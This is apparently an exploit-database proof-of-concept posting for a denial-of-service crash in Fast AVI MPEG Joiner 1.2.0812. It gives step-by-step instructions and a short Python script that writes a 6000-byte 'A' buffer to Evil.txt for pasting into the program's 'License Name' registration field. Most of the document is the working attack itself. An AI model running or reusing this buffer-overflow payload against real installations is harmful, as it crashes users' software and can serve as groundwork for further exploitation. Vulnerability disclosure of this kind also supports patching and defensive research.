Fast AVI MPEG Joiner – ‘License Name’ Denial of Service (PoC)

# Exploit Title: Fast AVI MPEG Joiner Dos Exploit

# Date: 24.5.2019

# Vendor Homepage:http://www.alloksoft.com

# Software Link:http://www.alloksoft.com/fast_avimpegjoiner.exe

# Exploit Author: Achilles

# Tested Version: 1.2.0812

# Tested on: Windows 7 x64 Sp1

#Windows XP x86 Sp3

# 1.- Run python code :Joiner.py

# 2.- Open EVIL.txt and copy content to clipboard

# 3.- Open Fast AVI MPEG Joiner.exe

# 4.- Paste the content of EVIL.txt into the Field: 'License Name'

# 5.- Click 'Register'and you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 6000

try:

f=open("Evil.txt","w")

print "[+] Creating %s bytes evil payload.." %len(buffer)

f.write(buffer)

f.close()

print "[+] File created!"

except:

print "File cannot be created"